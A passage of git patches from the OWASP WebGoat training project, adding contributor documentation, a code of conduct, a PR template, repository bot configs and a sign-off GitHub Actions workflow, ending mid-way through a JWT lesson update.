17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 13:58:49 +0200 Subject: [PATCH 015/227] Revert "Added code of conduct" This reverts commit 96ec4aa90907932ac6e17f52d179641a03df4179. --- CODE_OF_CONDUCT.md | 60 ---------------------------------------------- 1 file changed, 60 deletions(-) delete mode 100644 CODE_OF_CONDUCT.md diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md deleted file mode 100644 index 28718f0a4..000000000 --- a/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,60 +0,0 @@ -# Contributor Covenant Code of Conduct - -## Our Pledge - -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. - -## Our Standards - -Examples of behavior that contributes to creating a positive environment include: - -- Using welcoming and inclusive language -- Being respectful of differing viewpoints and experiences -- Gracefully accepting constructive criticism -- Focusing on what is best for the community -- Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -- The use of sexualized language or imagery and unwelcome sexual attention or advances -- Trolling, insulting/derogatory comments, and personal or political attacks -- Public or private harassment -- Publishing others' private information, such as a physical or electronic address, without explicit permission -- Misusing the context of the WebGoat project for commercial goals (e.g. adding sales pitches to the codebase or to communication channels used by the project, such as Slack). -- Other conduct which could reasonably be considered inappropriate in a professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. - -## Disclaimer - -The WebGoat project and its materials are conceived for educational and research purposes only. - -Refrain from violating the laws in your country by carefully consulting them before executing any tests against web applications or other assets utilizing the WebGoat (or Webwolf) materials. - -The WebGoat project is also NOT supporting unethical activities in any way. If you come across such requests, please reach out to the project leaders and raise this to them. - -Neither OWASP, the WebGoat project leaders, authors or anyone else involved in this project is going to take responsibility for your actions. - -The intention of the WebGoat is not to encourage hacking or malicious activities! Instead, the goal of the project is to learn different hacking techniques and offer ways to reduce or mitigate that risk. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community includes using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. - -## Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at nanne.baars@owasp.org. - -All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org "Contributor Covenant homepage"), [version 1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct.html "Code of Conduct version 1.4"). - -For answers to common questions about this code of conduct, see [the Contributor Covenant FAQ](https://www.contributor-covenant.org/faq) From 40456f25b9a62161b4dab3cf5d89ed22bd99d5d2 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 13:58:49 +0200 Subject: [PATCH 016/227] Revert "Added funding link" This reverts commit a1796f25773c314c311b967d15e484425dd5f52f. --- .github/FUNDING.yml | 1 - 1 file changed, 1 deletion(-) delete mode 100644 .github/FUNDING.yml diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml deleted file mode 100644 index 696cb3a7f..000000000 --- a/.github/FUNDING.yml +++ /dev/null @@ -1 +0,0 @@ -custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat \ No newline at end of file From e89a59b0538a3f6128cc1eff0ef12a9d58fb3e51 Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 12:02:03 +0200 Subject: [PATCH 017/227] Added funding link --- .github/FUNDING.yml | 1 + 1 file changed, 1 insertion(+) create mode 100644 .github/FUNDING.yml diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 000000000..696cb3a7f --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1 @@ +custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat \ No newline at end of file From 2cb9c52a7a1dcb6f28ece850dc0a4e558c978471 Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 12:40:50 +0200 Subject: [PATCH 018/227] Added code of conduct --- CODE_OF_CONDUCT.md | 60 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 CODE_OF_CONDUCT.md diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 000000000..28718f0a4 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,60 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +- Using welcoming and inclusive language +- Being respectful of differing viewpoints and experiences +- Gracefully accepting constructive criticism +- Focusing on what is best for the community +- Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +- The use of sexualized language or imagery and unwelcome sexual attention or advances +- Trolling, insulting/derogatory comments, and personal or political attacks +- Public or private harassment +- Publishing others' private information, such as a physical or electronic address, without explicit permission +- Misusing the context of the WebGoat project for commercial goals (e.g. adding sales pitches to the codebase or to communication channels used by the project, such as Slack). +- Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Disclaimer + +The WebGoat project and its materials are conceived for educational and research purposes only. + +Refrain from violating the laws in your country by carefully consulting them before executing any tests against web applications or other assets utilizing the WebGoat (or Webwolf) materials. + +The WebGoat project is also NOT supporting unethical activities in any way. If you come across such requests, please reach out to the project leaders and raise this to them. + +Neither OWASP, the WebGoat project leaders, authors or anyone else involved in this project is going to take responsibility for your actions. + +The intention of the WebGoat is not to encourage hacking or malicious activities! Instead, the goal of the project is to learn different hacking techniques and offer ways to reduce or mitigate that risk. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community includes using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at nanne.baars@owasp.org. + +All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org "Contributor Covenant homepage"), [version 1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct.html "Code of Conduct version 1.4"). + +For answers to common questions about this code of conduct, see [the Contributor Covenant FAQ](https://www.contributor-covenant.org/faq) From dd89e56f6e14273708c979354b7ffe9e5c985173 Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 13:04:29 +0200 Subject: [PATCH 019/227] Start of contributing, adding lock and stale (as per example from Juiceshop --- .github/lock.yml | 10 ++++++++++ .github/stale.yml | 14 ++++++++++++++ CONTRIBUTING.md | 0 3 files changed, 24 insertions(+) create mode 100644 .github/lock.yml create mode 100644 .github/stale.yml create mode 100644 CONTRIBUTING.md diff --git a/.github/lock.yml b/.github/lock.yml new file mode 100644 index 000000000..436e0b9a7 --- /dev/null +++ b/.github/lock.yml @@ -0,0 +1,10 @@ +--- +daysUntilLock: 365 +skipCreatedBefore: false +exemptLabels: [] +lockLabel: false +lockComment: > + This thread has been automatically locked because it has not had + recent activity after it was closed. :lock: Please open a new issue + for regressions or related bugs. +setLockReason: false diff --git a/.github/stale.yml b/.github/stale.yml new file mode 100644 index 000000000..814750195 --- /dev/null +++ b/.github/stale.yml @@ -0,0 +1,14 @@ +--- +daysUntilStale: 90 +daysUntilClose: 14 +exemptLabels: + - bounty + - challenge + - critical + - feature + - technical debt +staleLabel: stale +markComment: > + This issue has been automatically marked as `stale` because it has not had + recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs. +closeComment: false \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 000000000..e69de29bb From 75b63ea1793ed0d3e7037fd477e6662ac978dfbe Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 14:12:58 +0200 Subject: [PATCH 020/227] first version of contributing and PR template --- CONTRIBUTING.md | 126 +++++++++++++++++++++++++++++++++++++++ PULL_REQUEST_TEMPLATE.md | 7 +++ README.MD | 2 + 3 files changed, 135 insertions(+) create mode 100644 PULL_REQUEST_TEMPLATE.md diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index e69de29bb..528b51dd9 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -0,0 +1,126 @@ +# Contributing +![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors) +![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/bkimminich/juice-shop/help%20wanted.svg) +![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/bkimminich/juice-shop/good%20first%20issue.svg) + +This document describes how you can contribute to WebGoat. Please read it carefully. + +**Table of Contents** + +* [How to Contribute to the Project](#how-to-contribute-to-the-project) +* [How to set up your Contributor Environment](#how-to-set-up-your-contributor-environment) +* [How to get your PR Accepted](#how-to-get-your-pr-acceted) + +## How to Contribute to the project + +There are a couple of ways on how you can contribute to the project: + +* **File [issues](https://github.com/WebGoat/WebGoat/issues "Webgoat Issues")** for missing content or errors. Explain what you think is missing and give a suggestion as to where it could be added. +* **Create a [Pull Request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/OWASP/owasp-mstg/issues "MSTG Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos. +* **Help out financially** by donating via [OWASP donations](https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat). + +## How to get your PR Accepted + +Your PR is valuable to us. And to make sure we can integrate it smoothly, we have a few items for you to consider. In short: +The minimum requirements for code contributions are: + +1. The code _must_ be compliant with the configured Checkstyle and PMD rules. +2. All new and changed code _should_ have a corresponding unit and/or integration test. +3. New and changed lessons _must_ have a corresponding integration test. +4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit. +5. All Git commits within a PR _must_ be [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) to indicate the contributor's agreement with the [Developer Certificate of Origin](https://developercertificate.org/). + +Additionally, the following guidelines can help: + +### Keep your pull requests limited to a single issue + +Pull requests should be as small/atomic as possible. Large, wide-sweeping changes in a pull request will be **rejected**, with comments to isolate the specific code in your pull request. Some examples: + +* If you are making spelling corrections in the docs, don't modify other files. +* If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request. + +#### Squash your commits to a single commit + +To keep the history of the project clean, you should make one commit per pull request. +If you already have multiple commits, you can add the commits together (squash them) with the following commands in Git Bash: + +1. Open `Git Bash` (or `Git Shell`) +2. Enter following command to squash the recent {N} commits: `git reset --soft HEAD~{N} && git commit` (replace `{N}` with the number of commits you want to squash) +3. Press i to get into Insert-mode +4. Enter the commit message of the new commit +5. After adding the message, press ESC to get out of the Insert-mode +6. Write `:wq` and press Enter to save the new message or write `:q!` to discard your changes +7. Enter `git push --force` to push the new commit to the remote repository + +For example, if you want to squash the last 5 commits, use `git reset --soft HEAD~5 && git commit` + +### Don't mix code changes with whitespace cleanup + +If you change two lines of code and correct 200 lines of whitespace issues in a file the diff on that pull request is functionally unreadable and will be **rejected**. Whitespace cleanups need to be in their own pull request. + +### Keep your code simple! + +Please keep your code as clean and straightforward as possible. +Furthermore, the pixel shortage is over. We want to see: + +* `opacity` instead of `o` +* `placeholder` instead of `ph` +* `myFunctionThatDoesThings()` instead of `mftdt()` + +### Write a good commit message + +* Explain why you make the changes. [More infos about a good commit message.][commit_message] + +* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number][closing-issues-via-commit-messages] to your commit message. + + For example: `Fix #545` + +## How to set up your Contributor Environment + +1. Create a GitHub account. Multiple different GitHub subscription plans are available, but you only need a free one. Follow [these steps](https://help.github.com/en/articles/signing-up-for-a-new-github-account "Signing up for a new GitHub account") to set up your account. +2. Fork the repository. Creating a fork means creating a copy of the repository on your own account, which you can modify without any impact on this repository. GitHub has an [article that describes all the needed steps](https://help.github.com/en/articles/fork-a-repo "Fork a repo"). +3. Clone your own repository to your host computer so that you can make modifications. If you followed the GitHub tutorial from step 2, you have already done this. +4. Go to the newly cloned directory "WebGoat" and add the remote upstream repository: + + ```bash + $ git remote -v + origin git@github.com:/WebGoat.git (fetch) + origin git@github.com:/WebGoat.git (push) + + $ git remote add upstream git@github.com:WebGoat/WebGoat.git + + $ git remote -v + origin git@github.com:/WebGoat.git (fetch) + origin git@github.com:/WebGoat.git (push) + upstream git@github.com:OWASP/WebGoat.git (fetch) + upstream git@github.com:OWASP/WebGoat.git (push) + ``` + + See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")". +5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues"). +6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66` +7. Open your favorite editor and start making modifications. We recommend using the IntelliJ Idea . +8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m ':Your Commit Message'` to commit the modifications and `git push` to push your modifications to GitHub. +9. Create a Pull Request (PR) by going to your fork, and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer. +10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR. +11. When starting on a new PR in the future, make sure to always keep your local repo up to date: + + ```bash + $ git fetch upstream + $ git merge upstream/develop + ``` + + See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")". + +If at any time you want to work on a different issue, you can simply switch to a different branch, as explained in step 5. + +> Tip: Don't try to work on too many issues at once though, as it will be a lot more difficult to merge branches the longer they are open. + +## What not to do + +Although we greatly appreciate any and all contributions to the project, there are a few things that you should take into consideration: + +* The WebGoat project should not be used as a platform for advertisement of commercial tools, companies or individuals. Write-ups should be written with free and open-source tools in mind and commercial tools are typically not accepted, unless as a reference in the security tools section. +* Unnecessary self-promotion of tools or blog posts is frowned upon. If you have a relation with on of the URLs or tools you are referencing, please state so in the PR so that we can verify that the reference is in line with the rest of the guide. + +Please be sure to take a careful look at our [Code of Conduct](https://github.com/WebGoat/WebGoat/blob/master/CODE_OF_CONDUCT.md "Code of Conduct") for all the details. diff --git a/PULL_REQUEST_TEMPLATE.md b/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 000000000..e6a20b538 --- /dev/null +++ b/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,7 @@ +Thank you for submitting a Pull Request to the WebGoat. Please make sure that: + +- [ ] Status checks have passed (e.g. packaging, linting, testing are fine) +- [ ] Commits are [signed off ](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) + +If your PR is related to an issue. Please end your PR test with the following line: +This PR closes #< insert number here >. \ No newline at end of file diff --git a/README.MD b/README.MD index e5a8e4eda..490520bde 100644 --- a/README.MD +++ b/README.MD @@ -30,6 +30,8 @@ first thing that all hackers claim.* # Installation instructions: +For more details check [the Contribution guide](/CONTRIBUTING.md) + ## 1. Run using Docker Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/goatandwolf). From 38bae09f82e4f6b899226cf16ab3b986031cf08e Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 14:32:01 +0200 Subject: [PATCH 021/227] First iteration of sign off testing --- .github/workflows/signoff_mr.yml | 47 ++++++++++++++++++++++++++++++++ PULL_REQUEST_TEMPLATE.md | 2 +- 2 files changed, 48 insertions(+), 1 deletion(-) create mode 100644 .github/workflows/signoff_mr.yml diff --git a/.github/workflows/signoff_mr.yml b/.github/workflows/signoff_mr.yml new file mode 100644 index 000000000..6c5ea27d1 --- /dev/null +++ b/.github/workflows/signoff_mr.yml @@ -0,0 +1,47 @@ +on: issue_comment + +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/github-script@0.3.0 + if: github.event.action == 'created' + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + script: | + const isValidSignOff = ( + context.payload.action === 'created' && + context.payload.issue.pull_request && + context.payload.comment.user.id === context.payload.issue.user.id && + context.payload.comment.body === '/signoff' + ) + if (!isValidSignOff) return + const pr = await github.pulls.get({ + ...context.repo, + pull_number: context.payload.issue.number + }) + const commits = await github.pulls.listCommits({ + ...context.repo, + pull_number: context.payload.issue.number + }) + const baseCommit = await github.git.getCommit({ + ...context.repo, + commit_sha: pr.data.head.sha + }) + const tree = await github.git.getTree({ + ...context.repo, + tree_sha: baseCommit.data.tree.sha + }) + const commitLines = commits.data.map(item => `- ${item.sha.slice(0, 6)}: ${item.commit.message}`).join('\n') + const header = `I, @${context.payload.comment.user.login}, hereby signoff on these commits:` + const newCommit = await github.git.createCommit({ + ...context.repo, + message: `${header}\n\n${commitLines}`, + tree: tree.data.sha, + parents: [pr.data.head.sha] + }) + await github.git.updateRef({ + ...context.repo, + ref: `heads/${pr.data.head.ref}`, + sha: newCommit.data.sha + }) \ No newline at end of file diff --git a/PULL_REQUEST_TEMPLATE.md b/PULL_REQUEST_TEMPLATE.md index e6a20b538..de0ed0006 100644 --- a/PULL_REQUEST_TEMPLATE.md +++ b/PULL_REQUEST_TEMPLATE.md @@ -1,7 +1,7 @@ Thank you for submitting a Pull Request to the WebGoat. Please make sure that: - [ ] Status checks have passed (e.g. packaging, linting, testing are fine) -- [ ] Commits are [signed off ](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) +- [ ] Commits are [signed off ](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or [`/signoff` is provided as a comment](https://github.com/JasonEtco/signoff-commit-action). If your PR is related to an issue. Please end your PR test with the following line: This PR closes #< insert number here >. \ No newline at end of file From ae87f7eb493744e0d8845011b089ca3e0aeccccc Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 14:39:45 +0200 Subject: [PATCH 022/227] Updated contributing --- CONTRIBUTING.md | 25 +++++-------------------- 1 file changed, 5 insertions(+), 20 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 528b51dd9..633a3cfdc 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,7 +1,7 @@ # Contributing ![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors) -![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/bkimminich/juice-shop/help%20wanted.svg) -![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/bkimminich/juice-shop/good%20first%20issue.svg) +![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg) +![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg) This document describes how you can contribute to WebGoat. Please read it carefully. @@ -16,7 +16,7 @@ This document describes how you can contribute to WebGoat. Please read it carefu There are a couple of ways on how you can contribute to the project: * **File [issues](https://github.com/WebGoat/WebGoat/issues "Webgoat Issues")** for missing content or errors. Explain what you think is missing and give a suggestion as to where it could be added. -* **Create a [Pull Request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/OWASP/owasp-mstg/issues "MSTG Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos. +* **Create a [Pull Request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos. * **Help out financially** by donating via [OWASP donations](https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat). ## How to get your PR Accepted @@ -28,7 +28,7 @@ The minimum requirements for code contributions are: 2. All new and changed code _should_ have a corresponding unit and/or integration test. 3. New and changed lessons _must_ have a corresponding integration test. 4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit. -5. All Git commits within a PR _must_ be [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) to indicate the contributor's agreement with the [Developer Certificate of Origin](https://developercertificate.org/). +5. All Git commits within a PR _must_ be [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or [`/signoff` is provided as a comment](https://github.com/JasonEtco/signoff-commit-action) to indicate the contributor's agreement with the [Developer Certificate of Origin](https://developercertificate.org/). Additionally, the following guidelines can help: @@ -39,21 +39,6 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change * If you are making spelling corrections in the docs, don't modify other files. * If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request. -#### Squash your commits to a single commit - -To keep the history of the project clean, you should make one commit per pull request. -If you already have multiple commits, you can add the commits together (squash them) with the following commands in Git Bash: - -1. Open `Git Bash` (or `Git Shell`) -2. Enter following command to squash the recent {N} commits: `git reset --soft HEAD~{N} && git commit` (replace `{N}` with the number of commits you want to squash) -3. Press i to get into Insert-mode -4. Enter the commit message of the new commit -5. After adding the message, press ESC to get out of the Insert-mode -6. Write `:wq` and press Enter to save the new message or write `:q!` to discard your changes -7. Enter `git push --force` to push the new commit to the remote repository - -For example, if you want to squash the last 5 commits, use `git reset --soft HEAD~5 && git commit` - ### Don't mix code changes with whitespace cleanup If you change two lines of code and correct 200 lines of whitespace issues in a file the diff on that pull request is functionally unreadable and will be **rejected**. Whitespace cleanups need to be in their own pull request. @@ -101,7 +86,7 @@ Furthermore, the pixel shortage is over. We want to see: 6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66` 7. Open your favorite editor and start making modifications. We recommend using the IntelliJ Idea . 8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m ':Your Commit Message'` to commit the modifications and `git push` to push your modifications to GitHub. -9. Create a Pull Request (PR) by going to your fork, and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer. +9. Create a Pull Request (PR) by going to your fork, and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer. 10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR. 11. When starting on a new PR in the future, make sure to always keep your local repo up to date: From 93265a3686d43d99613ab81b2a20907c4e9abdca Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 14:40:22 +0200 Subject: [PATCH 023/227] Fix pr template --- PULL_REQUEST_TEMPLATE.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PULL_REQUEST_TEMPLATE.md b/PULL_REQUEST_TEMPLATE.md index de0ed0006..d700f586f 100644 --- a/PULL_REQUEST_TEMPLATE.md +++ b/PULL_REQUEST_TEMPLATE.md @@ -1,7 +1,7 @@ Thank you for submitting a Pull Request to the WebGoat. Please make sure that: - [ ] Status checks have passed (e.g. packaging, linting, testing are fine) -- [ ] Commits are [signed off ](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or [`/signoff` is provided as a comment](https://github.com/JasonEtco/signoff-commit-action). +- [ ] Commits are [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or [`/signoff` is provided as a comment](https://github.com/JasonEtco/signoff-commit-action). If your PR is related to an issue. Please end your PR test with the following line: This PR closes #< insert number here >. \ No newline at end of file From 68a69e9b07d029367f13ffc68e2511dea5e1f90e Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 14:43:51 +0200 Subject: [PATCH 024/227] Updated stale to only have those that require input from a user --- .github/stale.yml | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/.github/stale.yml b/.github/stale.yml index 814750195..619a771a4 100644 --- a/.github/stale.yml +++ b/.github/stale.yml @@ -1,14 +1,10 @@ --- daysUntilStale: 90 daysUntilClose: 14 -exemptLabels: - - bounty - - challenge - - critical - - feature - - technical debt +onlyLabels: + - waiting-for-input + - wontfix staleLabel: stale markComment: > - This issue has been automatically marked as `stale` because it has not had - recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs. + This issue has been automatically marked as `stale` because it has not had recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs. closeComment: false \ No newline at end of file From ef4b7ce1a74c8ef98ce141b997122cc55938d386 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 15:16:03 +0200 Subject: [PATCH 025/227] Fix link to signoff commits --- PULL_REQUEST_TEMPLATE.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PULL_REQUEST_TEMPLATE.md b/PULL_REQUEST_TEMPLATE.md index d700f586f..607332f3d 100644 --- a/PULL_REQUEST_TEMPLATE.md +++ b/PULL_REQUEST_TEMPLATE.md @@ -1,7 +1,7 @@ Thank you for submitting a Pull Request to the WebGoat. Please make sure that: - [ ] Status checks have passed (e.g. packaging, linting, testing are fine) -- [ ] Commits are [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or [`/signoff` is provided as a comment](https://github.com/JasonEtco/signoff-commit-action). +- [ ] Commits are [signed off](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt--s) or you type `/signoff` [is provided as a comment](https://github.com/JasonEtco/signoff-commit-action). If your PR is related to an issue. Please end your PR test with the following line: This PR closes #< insert number here >. \ No newline at end of file From 14a6efedf3e5e91fc67284c0e3790a92f2a98485 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 13:42:52 +0200 Subject: [PATCH 026/227] Add extra documentation for using the correct algorithm but removing the signature. --- .../java/org/owasp/webgoat/JWTLessonTest.java | 2 +- .../java/org/owasp/webgoat/jwt/JWTQuiz.java | 2 +- .../jwt/src/main/resources/html/JWT.html | 12 +++++ .../en/JWT_libraries_assignment.adoc | 18 +++++++- .../en/JWT_libraries_assignment2.adoc | 37 +++++++++++++++ .../en/JWT_libraries_solution.adoc | 46 +++++++++++++++++++ 6 files changed, 114 insertions(+), 3 deletions(-) create mode 100644 webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment2.adoc create mode 100644 webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_solution.adoc diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java index 4a6513440..8913e4351 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java +++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java @@ -210,7 +210,7 @@ public class JWTLessonTest extends IntegrationTest { private void quiz() { Map params = new HashMap<>(); params.put("question_0_solution", "Solution 1"); - params.put("question_1_solution", "Solution 3"); + params.put("question_1_solution", "Solution 2"); checkAssignment(url("/WebGoat/JWT/quiz"), params, true); } diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTQuiz.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTQuiz.java index 256e4be2e..0eebc255b 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTQuiz.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTQuiz.java @@ 